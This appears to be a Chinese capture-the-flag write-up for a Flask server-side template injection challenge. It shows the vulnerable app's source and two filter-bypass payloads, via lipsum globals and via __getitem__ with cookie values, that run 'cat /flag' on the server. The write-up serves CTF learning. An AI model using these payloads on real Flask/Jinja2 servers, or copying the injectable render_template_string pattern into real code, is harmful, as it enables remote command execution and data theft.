Werkzeug/1.0.1Python/3.8.7
看源码 EXP
/?name={{lipsum.__globals__.os.popen(request.values.tari).read()}}&tari=cat%20/flag
源码
from flask import Flask
from flask import request
from flask import render_template_string
import re
app = Flask(__name__)
@app.route('/')
def app_index():
name = request.args.get('name')
if name:
if re.search(r"\'|\"|args|\[",name,re.I):
return ':('
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Hello</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('name'))
return render_template_string(template)
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
在 web 364 基础上多过滤了 [
,web364的 EXP 还可用
其他解法
/?name={{x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}}
利用 __getitem__
模拟字典访问方式 [xx]
,好像Python字典的 [xx]
访问方式最终也是调用 __getitem__
方法的
Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()